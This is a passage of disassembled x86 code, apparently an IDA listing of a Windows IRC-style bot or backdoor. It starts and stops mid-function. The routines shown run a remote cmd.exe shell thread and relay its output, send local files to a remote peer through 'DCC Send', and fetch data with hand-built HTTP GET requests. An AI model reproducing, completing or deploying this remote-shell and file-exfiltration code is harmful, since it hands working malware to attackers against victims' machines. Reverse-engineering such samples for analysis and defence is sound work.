		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		push	0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DF04
		call	dword_417080
		test	eax, eax
		jnz	short loc_401C17
		push	offset aCouldNotReadDa ; "Could	not read data from process."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C17:				; CODE XREF: sub_401981+27Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_401C6F
		mov	[ebp+var_730], 103h
		lea	eax, [ebp+var_730]
		push	eax
		push	dword_41DEFC
		call	dword_417084
		test	eax, eax
		jz	short loc_401C62
		cmp	[ebp+var_730], 103h
		jz	short loc_401C62
		push	offset aCmd_exeProcess ; "Cmd.exe process has terminated."
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40D53F
		pop	ecx
		pop	ecx
		jmp	loc_401D22
; ---------------------------------------------------------------------------


loc_401C62:				; CODE XREF: sub_401981+2BBj
					; sub_401981+2C7j
		push	0Ah
		call	dword_41709C
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401C6F:				; CODE XREF: sub_401981+29Aj
		and	[ebp+var_72C], 0
		jmp	short loc_401C85
; ---------------------------------------------------------------------------


loc_401C78:				; CODE XREF: sub_401981:loc_401CAFj
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_72C], eax


loc_401C85:				; CODE XREF: sub_401981+2F5j
		mov	eax, [ebp+var_72C]
		cmp	eax, [ebp+var_4]
		jnb	short loc_401CB1
		mov	eax, [ebp+var_72C]
		movsx	eax, [ebp+eax+var_204]
		cmp	eax, 0Ah
		jnz	short loc_401CAF
		mov	[ebp+var_208], 1
		jmp	short loc_401CB1
; ---------------------------------------------------------------------------


loc_401CAF:				; CODE XREF: sub_401981+320j
		jmp	short loc_401C78
; ---------------------------------------------------------------------------


loc_401CB1:				; CODE XREF: sub_401981+30Dj
					; sub_401981+32Cj
		cmp	[ebp+var_208], 0
		jz	short loc_401CC6
		mov	eax, [ebp+var_72C]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_401CCD
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401981+337j
		mov	[ebp+var_4], 200h


loc_401CCD:				; CODE XREF: sub_401981+343j
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_416B6A
		add	esp, 0Ch
		push	0
		lea	eax, [ebp+var_31C]
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_204]
		push	eax
		push	dword_41DF04
		call	dword_417088
		test	eax, eax
		jnz	short loc_401D08
		jmp	short loc_401D22
; ---------------------------------------------------------------------------


loc_401D08:				; CODE XREF: sub_401981+383j
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4018AF
		pop	ecx
		pop	ecx
		jmp	loc_401BAD
; ---------------------------------------------------------------------------


loc_401D22:				; CODE XREF: sub_401981+238j
					; sub_401981+291j ...
		call	sub_401856
		push	[ebp+var_714]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_401D35:				; CODE XREF: sub_401981+67j
					; sub_401981+BBj ...
		leave
		retn	4
sub_401981	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D39	proc near		; CODE XREF: sub_401D6E+AFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		push	dword_41DF00
		call	dword_417068
		test	eax, eax
		jnz	short loc_401D69
		xor	eax, eax
		jmp	short locret_401D6C
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401D39+2Aj
		push	1
		pop	eax

locret_401D6C:				; CODE XREF: sub_401D39+2Ej
		leave
		retn
sub_401D39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401D6E	proc near		; CODE XREF: sub_40A9CF+14A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+198h]
		test	eax, eax
		jz	short loc_401DA6
		cmp	[ebp+arg_4], 0
		jnz	short loc_401D8B
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401D8B:				; CODE XREF: sub_401D6E+16j
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	offset aOpen	; "open"
		push	0
		call	dword_4171D0
		jmp	locret_401E36
; ---------------------------------------------------------------------------


loc_401DA6:				; CODE XREF: sub_401D6E+10j
		push	3A7h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401DBC
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401DBC:				; CODE XREF: sub_401D6E+4Aj
		cmp	[ebp+arg_4], 0
		jz	short loc_401DD9
		push	200h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch


loc_401DD9:				; CODE XREF: sub_401D6E+52j
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 204h
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	offset aRemoteCmdThrea ; "Remote cmd thread"
		push	1
		push	[ebp+var_4]
		push	offset sub_401981
		call	sub_4095A4
		add	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_401E0B
		jmp	short locret_401E36
; ---------------------------------------------------------------------------


loc_401E0B:				; CODE XREF: sub_401D6E+99j
		push	offset asc_418214 ; "\r\n"
		push	[ebp+arg_4]
		call	sub_416B70
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		call	sub_401D39
		pop	ecx
		test	eax, eax
		jnz	short locret_401E36
		push	offset aErrorWhileExec ; "Error	while executing	command."
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx

locret_401E36:				; CODE XREF: sub_401D6E+18j
					; sub_401D6E+33j ...
		leave
		retn
sub_401D6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E38	proc near		; DATA XREF: sub_4024F3+10Bo

var_614		= qword	ptr -614h
var_60C		= qword	ptr -60Ch
var_604		= dword	ptr -604h
var_600		= dword	ptr -600h
var_5FC		= dword	ptr -5FCh
var_5F8		= dword	ptr -5F8h
var_5F4		= dword	ptr -5F4h
var_5F0		= dword	ptr -5F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= dword	ptr -5E8h
var_5E4		= dword	ptr -5E4h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5BB		= byte ptr -5BBh
var_4B7		= byte ptr -4B7h
var_3B7		= byte ptr -3B7h
var_3AD		= byte ptr -3ADh
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 604h
		push	3D6h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5E0]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_5BB]
		push	eax
		call	dword_4170AC
		push	offset dword_4182AC
		lea	eax, [ebp+var_5BB]
		push	eax
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_5E4], eax
		cmp	[ebp+var_5E4], 0
		jnz	short loc_401EA3
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EA3:				; CODE XREF: sub_401E38+56j
		push	2710h
		push	0
		lea	eax, [ebp+var_3B7]
		push	eax
		lea	eax, [ebp+var_4B7]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_401EEE
		push	[ebp+var_5E4]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4020BE
; ---------------------------------------------------------------------------


loc_401EEE:				; CODE XREF: sub_401E38+95j
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		mov	eax, [ebp+var_5E0]
		push	dword ptr [eax]
		push	offset dword_418280
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64
		mov	[ebp+var_5E8], eax
		and	[ebp+var_204], 0


loc_401F2A:				; CODE XREF: sub_401E38:loc_401FD8j
		push	0
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_208]
		call	dword_417248
		mov	[ebp+var_5F0], eax
		cmp	[ebp+var_5F0], 0
		jz	short loc_401F5F
		cmp	[ebp+var_5F0], 200h
		jbe	short loc_401F61


loc_401F5F:				; CODE XREF: sub_401E38+119j
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401F61:				; CODE XREF: sub_401E38+125j
		mov	eax, [ebp+var_204]
		add	eax, [ebp+var_5F0]
		mov	[ebp+var_204], eax
		push	[ebp+var_204]
		call	dword_41724C
		mov	[ebp+var_5F4], eax
		push	4
		lea	eax, [ebp+var_5F4]
		push	eax
		push	[ebp+var_208]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5E4]
		push	[ebp+var_5F0]
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B7C
		add	esp, 10h
		cmp	[ebp+var_5F0], 200h
		jnb	short loc_401FC7
		jmp	short loc_401FDD
; ---------------------------------------------------------------------------


loc_401FC7:				; CODE XREF: sub_401E38+18Bj
		mov	eax, [ebp+var_5E0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_401FD8
		jmp	loc_4020BC
; ---------------------------------------------------------------------------


loc_401FD8:				; CODE XREF: sub_401E38+199j
		jmp	loc_401F2A
; ---------------------------------------------------------------------------


loc_401FDD:				; CODE XREF: sub_401E38:loc_401F5Fj
					; sub_401E38+18Dj
		push	[ebp+var_5E4]
		call	sub_416B76
		pop	ecx
		mov	[ebp+var_5EC], eax
		call	sub_416B64
		cmp	[ebp+var_5E8], eax
		jnz	short loc_402008
		call	sub_416B64
		dec	eax
		mov	[ebp+var_5E8], eax


loc_402008:				; CODE XREF: sub_401E38+1C2j
		mov	eax, [ebp+var_5EC]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_5F8], eax
		fild	[ebp+var_5F8]
		fstp	[ebp+var_5FC]
		call	sub_416B64
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_600], eax
		fild	[ebp+var_600]
		fdiv	flt_417270
		fdivr	[ebp+var_5FC]
		push	ecx
		push	ecx
		fstp	[esp+60Ch+var_60C]
		call	sub_416B64
		sub	eax, [ebp+var_5E8]
		mov	[ebp+var_604], eax
		fild	[ebp+var_604]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+614h+var_614]
		lea	eax, [ebp+var_5DC]
		push	eax
		lea	eax, [ebp+var_5BB]
		push	eax
		push	offset dword_418234
		lea	eax, [ebp+var_3AD]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_402094:				; CODE XREF: sub_401E38:loc_4020BCj
		push	[ebp+var_5E4]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_208]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4020BE
; ---------------------------------------------------------------------------


loc_4020BC:				; CODE XREF: sub_401E38+19Bj
		jmp	short loc_402094
; ---------------------------------------------------------------------------

locret_4020BE:				; CODE XREF: sub_401E38+66j
					; sub_401E38+B1j ...
		leave
		retn	4
sub_401E38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020C2	proc near		; DATA XREF: sub_40260D+7Co

var_A2C		= qword	ptr -0A2Ch
var_A24		= qword	ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= byte ptr -0A04h
var_9FC		= dword	ptr -9FCh
var_9F8		= dword	ptr -9F8h
var_9F4		= dword	ptr -9F4h
var_9F0		= byte ptr -9F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= byte ptr -8E0h
var_8BF		= byte ptr -8BFh
var_8BE		= byte ptr -8BEh
var_7BB		= byte ptr -7BBh
var_618		= dword	ptr -618h
var_614		= byte ptr -614h
var_210		= byte ptr -210h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A1Ch
		push	2CCh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8E4]
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C
		pop	ecx
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B40
		pop	ecx
		mov	[ebp+var_9F8], eax
		jmp	short loc_40210D
; ---------------------------------------------------------------------------


loc_402100:				; CODE XREF: sub_4020C2:loc_40215Ej
		mov	eax, [ebp+var_9F8]
		dec	eax
		mov	[ebp+var_9F8], eax


loc_40210D:				; CODE XREF: sub_4020C2+3Cj
		cmp	[ebp+var_9F8], 0
		jnz	short loc_40212D
		lea	eax, [ebp+var_8BF]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40212D:				; CODE XREF: sub_4020C2+52j
		mov	eax, [ebp+var_9F8]
		movsx	eax, [ebp+eax+var_8BF]
		cmp	eax, 5Ch
		jnz	short loc_40215E
		mov	eax, [ebp+var_9F8]
		lea	eax, [ebp+eax+var_8BE]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_402160
; ---------------------------------------------------------------------------


loc_40215E:				; CODE XREF: sub_4020C2+7Cj
		jmp	short loc_402100
; ---------------------------------------------------------------------------


loc_402160:				; CODE XREF: sub_4020C2+69j
					; sub_4020C2+9Aj
		mov	[ebp+var_8E8], 10h
		lea	eax, [ebp+var_8E8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_40CF25
		push	eax
		call	dword_417240
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_614]
		push	eax
		push	[ebp+var_8E8]
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_41DF68	; getnameinfo
		test	eax, eax
		jz	short loc_4021BA
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_4021BA:				; CODE XREF: sub_4020C2+E3j
		push	0Ah
		lea	eax, [ebp+var_A04]
		push	eax
		push	1388h
		push	400h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		lea	eax, [ebp+var_A04]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_9FC], eax
		cmp	[ebp+var_9FC], 0
		jnz	short loc_40220F
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40220F:				; CODE XREF: sub_4020C2+138j
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_8BF]
		push	eax
		call	sub_416B88
		pop	ecx
		pop	ecx
		mov	[ebp+var_8EC], eax
		cmp	[ebp+var_8EC], 0
		jnz	short loc_402250
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_402250:				; CODE XREF: sub_4020C2+16Dj
		push	2
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96
		add	esp, 0Ch
		push	[ebp+var_8EC]
		call	sub_416B76
		pop	ecx
		mov	[ebp+var_A08], eax
		push	0
		push	0
		push	[ebp+var_8EC]
		call	sub_416B96
		add	esp, 0Ch
		lea	eax, [ebp+var_614]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset aDccSendSS ; "DCC Send %s (%s)"
		lea	eax, [ebp+var_8E0]
		push	eax


loc_4022A0:				; DATA XREF: sub_43B580+2Ew
		call	sub_40D420
		add	esp, 10h
		push	[ebp+var_A08]
		lea	eax, [ebp+var_A04]
		push	eax
		lea	eax, [ebp+var_614]
		push	eax
		call	dword_417244
		push	eax
		call	dword_41724C
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_418348
		lea	eax, [ebp+var_8E0]
		push	eax
		call	sub_40D4AB
		add	esp, 18h
		push	0EA60h
		push	[ebp+var_9FC]
		call	sub_4048EF
		pop	ecx
		pop	ecx


loc_4022F7:				; DATA XREF: sub_43B511w
					; sub_43B511+29r
		mov	[ebp+var_618], eax
		cmp	[ebp+var_618], 0
		jz	short loc_40230F
		cmp	[ebp+var_618], 0FFFFFFFFh
		jnz	short loc_40233A


loc_40230F:				; CODE XREF: sub_4020C2+242j
		push	[ebp+var_8EC]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4024EF
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_4020C2+24Bj
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		mov	eax, [ebp+var_8E4]
		push	dword ptr [eax]
		push	offset dword_418320
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 14h
		call	sub_416B64
		mov	[ebp+var_9F4], eax


loc_40236F:				; CODE XREF: sub_4020C2:loc_40240Dj
		push	[ebp+var_8EC]
		push	200h
		push	1
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_416B90
		add	esp, 10h
		mov	[ebp+var_A0C], eax
		cmp	[ebp+var_A0C], 0
		jz	short loc_4023A6
		cmp	[ebp+var_A0C], 200h
		jbe	short loc_4023A8


loc_4023A6:				; CODE XREF: sub_4020C2+2D6j
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023A8:				; CODE XREF: sub_4020C2+2E2j
		push	[ebp+var_A0C]
		lea	eax, [ebp+var_210]
		push	eax
		push	[ebp+var_618]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4023EE
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182F4
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		jmp	loc_4024ED
; ---------------------------------------------------------------------------


loc_4023EE:				; CODE XREF: sub_4020C2+303j
		cmp	[ebp+var_A0C], 200h
		jnb	short loc_4023FC
		jmp	short loc_402412
; ---------------------------------------------------------------------------


loc_4023FC:				; CODE XREF: sub_4020C2+336j
		mov	eax, [ebp+var_8E4]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40240D
		jmp	loc_4024EB
; ---------------------------------------------------------------------------


loc_40240D:				; CODE XREF: sub_4020C2+344j
		jmp	loc_40236F
; ---------------------------------------------------------------------------


loc_402412:				; CODE XREF: sub_4020C2:loc_4023A6j
					; sub_4020C2+338j
		call	sub_416B64
		cmp	[ebp+var_9F4], eax
		jnz	short loc_40242B
		call	sub_416B64
		dec	eax
		mov	[ebp+var_9F4], eax


loc_40242B:				; CODE XREF: sub_4020C2+35Bj
		mov	eax, [ebp+var_A08]
		cdq
		mov	ecx, 400h
		idiv	ecx
		mov	[ebp+var_A10], eax
		fild	[ebp+var_A10]
		fstp	[ebp+var_A14]
		call	sub_416B64
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A18], eax
		fild	[ebp+var_A18]
		fdiv	flt_417270
		fdivr	[ebp+var_A14]
		push	ecx
		push	ecx
		fstp	[esp+0A24h+var_A24]
		call	sub_416B64
		sub	eax, [ebp+var_9F4]
		mov	[ebp+var_A1C], eax
		fild	[ebp+var_A1C]
		fdiv	flt_417270
		push	ecx
		push	ecx
		fstp	[esp+0A2Ch+var_A2C]
		lea	eax, [ebp+var_8E0]
		push	eax
		lea	eax, [ebp+var_9F0]
		push	eax
		push	offset dword_4182B0
		lea	eax, [ebp+var_7BB]
		push	eax
		call	sub_40D53F
		add	esp, 20h


loc_4024B7:				; CODE XREF: sub_4020C2:loc_4024EBj
					; sub_4020C2:loc_4024EDj
		push	[ebp+var_618]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_8EC]
		call	sub_416B82
		pop	ecx
		push	[ebp+var_9FC]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_8E4]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short locret_4024EF
; ---------------------------------------------------------------------------


loc_4024EB:				; CODE XREF: sub_4020C2+346j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------


loc_4024ED:				; CODE XREF: sub_4020C2+327j
		jmp	short loc_4024B7
; ---------------------------------------------------------------------------

locret_4024EF:				; CODE XREF: sub_4020C2+F3j
					; sub_4020C2+148j ...
		leave
		retn	4
sub_4020C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4024F3	proc near		; CODE XREF: sub_40D871+203p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_402511
		cmp	[ebp+arg_8], 0
		jz	short loc_402511
		cmp	[ebp+arg_C], 0
		jz	short loc_402511
		cmp	[ebp+arg_10], 0
		jnz	short loc_402516


loc_402511:				; CODE XREF: sub_4024F3+Aj
					; sub_4024F3+10j ...
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402516:				; CODE XREF: sub_4024F3+1Cj
		push	[ebp+arg_10]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_402531
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_402536


loc_402531:				; CODE XREF: sub_4024F3+33j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402536:				; CODE XREF: sub_4024F3+3Cj
		push	[ebp+arg_14]
		call	sub_416B9C
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_402551
		cmp	[ebp+var_8], 40000000h
		jbe	short loc_402556


loc_402551:				; CODE XREF: sub_4024F3+53j
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_402556:				; CODE XREF: sub_4024F3+5Cj
		push	3D6h
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40256F
		jmp	locret_40260B
; ---------------------------------------------------------------------------


loc_40256F:				; CODE XREF: sub_4024F3+75j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		push	100h
		push	[ebp+arg_C]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		push	6
		push	[ebp+arg_10]
		mov	eax, [ebp+var_4]
		add	eax, 229h
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+22Fh], ecx
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 233h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_41837C
		push	0
		push	[ebp+var_4]
		push	offset sub_401E38
		call	sub_4095A4
		add	esp, 18h

locret_40260B:				; CODE XREF: sub_4024F3:loc_402511j
					; sub_4024F3:loc_402531j ...
		leave
		retn
sub_4024F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40260D	proc near		; CODE XREF: sub_40A9CF+98Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_40261D
		cmp	[ebp+arg_8], 0
		jnz	short loc_40261F


loc_40261D:				; CODE XREF: sub_40260D+8j
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_40261F:				; CODE XREF: sub_40260D+Ej
		push	2CCh
		call	sub_416B46
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_402635
		jmp	short locret_402696
; ---------------------------------------------------------------------------


loc_402635:				; CODE XREF: sub_40260D+24j
		push	21h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		push	104h
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 25h
		push	eax
		call	sub_416B58
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 129h
		push	eax
		call	sub_416B52
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4183A0
		push	0
		push	[ebp+var_4]
		push	offset sub_4020C2
		call	sub_4095A4
		add	esp, 18h

locret_402696:				; CODE XREF: sub_40260D:loc_40261Dj
					; sub_40260D+26j
		leave
		retn
sub_40260D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402698	proc near		; CODE XREF: sub_402A32+5C9p

var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	2710h
		push	0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_414], eax
		cmp	[ebp+var_414], 0
		jnz	short loc_4026CC
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4026CC:				; CODE XREF: sub_402698+2Bj
		push	[ebp+arg_8]
		push	[ebp+arg_10]
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BAE
		add	esp, 14h
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416B40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+var_414]
		call	sub_405443
		add	esp, 10h
		mov	[ebp+var_420], eax
		cmp	[ebp+var_420], 0
		jz	short loc_402745
		cmp	[ebp+var_420], 0FFFFFFFFh
		jnz	short loc_402758


loc_402745:				; CODE XREF: sub_402698+A2j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_402758:				; CODE XREF: sub_402698+ABj
		push	offset asc_4183EC ; "\r\n\r\n"
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_410], eax
		cmp	[ebp+var_410], 0
		jnz	short loc_40278D
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_40278D:				; CODE XREF: sub_402698+E0j
		mov	eax, [ebp+var_410]
		add	eax, 4
		mov	[ebp+var_410], eax
		push	offset aContentLength ;	"Content-Length: "
		lea	eax, [ebp+var_404]
		push	eax
		call	sub_416BA8
		pop	ecx
		pop	ecx
		mov	[ebp+var_40C], eax
		cmp	[ebp+var_40C], 0
		jz	short loc_4027CC
		mov	eax, [ebp+var_40C]
		cmp	eax, [ebp+var_410]
		jbe	short loc_4027DF


loc_4027CC:				; CODE XREF: sub_402698+124j
		push	[ebp+var_414]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_402A22
; ---------------------------------------------------------------------------


loc_4027DF:				; CODE XREF: sub_402698+132j
